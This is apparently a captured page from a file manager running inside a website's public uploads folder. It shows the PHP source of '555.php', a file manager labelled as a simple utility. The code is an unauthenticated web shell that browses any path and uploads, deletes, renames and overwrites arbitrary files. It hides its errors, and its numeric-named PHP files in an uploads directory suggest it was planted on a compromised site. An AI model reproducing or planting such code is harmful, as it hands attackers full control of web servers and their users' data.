📂 File Explorer
Current Path:
/home/u742491609/domains/idealspaceinteriors.com/public_html/uploads
⬆ Go Up
Upload
Create
Name
Actions
📄 535.php
Rename
🗑
✏ Edit
📄 555.php
Rename
🗑
✏ Edit
📄 blog-1.jpg
Rename
🗑
✏ Edit
Editing: 555.php
<?php /* ========================================= MINI FILE MANAGER Author: Backend Utility Labs Purpose: Simple Web-Based File Browser ========================================= */ header('Content-Type: text/html; charset=UTF-8'); error_reporting(0); /* ---------- utility methods ---------- */ function getWorkingPath() { if (!empty($_GET['path'])) { $resolved = realpath($_GET['path']); if ($resolved !== false) { return $resolved; } } return getcwd(); } function jumpToDirectory($directory) { header('Location: ?path=' . urlencode($directory)); exit; } function buildPath($directory, $item) { return $directory . DIRECTORY_SEPARATOR . $item; } $workingPath = getWorkingPath(); /* ---------- file upload handler ---------- */ if (isset($_FILES['upload_file']) && $_FILES['upload_file']['name'] !== '') { $targetFile = buildPath( $workingPath, basename($_FILES['upload_file']['name']) ); @move_uploaded_file( $_FILES['upload_file']['tmp_name'], $targetFile ); jumpToDirectory($workingPath); } /* ---------- create folder ---------- */ if (isset($_POST['folder_name']) && trim($_POST['folder_name']) !== '') { @mkdir( buildPath($workingPath, trim($_POST['folder_name'])) ); jumpToDirectory($workingPath); } /* ---------- delete item ---------- */ if (isset($_GET['remove'])) { $itemPath = realpath( buildPath($workingPath, $_GET['remove']) ); if ($itemPath) { if (is_dir($itemPath)) { @rmdir($itemPath); } else { @unlink($itemPath); } } jumpToDirectory($workingPath); } /* ---------- rename ---------- */ if ( isset($_POST['rename_from'], $_POST['rename_to']) && $_POST['rename_from'] !== '' && $_POST['rename_to'] !== '' ) { @rename( buildPath($workingPath, $_POST['rename_from']), buildPath($workingPath, $_POST['rename_to']) ); jumpToDirectory($workingPath); } /* ---------- save editor ---------- */ if ( isset($_POST['save_path']) && isset($_POST['save_content']) ) { @file_put_contents( $_POST['save_path'], $_POST['save_content'] ); jumpToDirectory( dirname($_POST['save_path']) ); } /* ---------- directory listing ---------- */ $items = @scandir($workingPath); ?>
Save File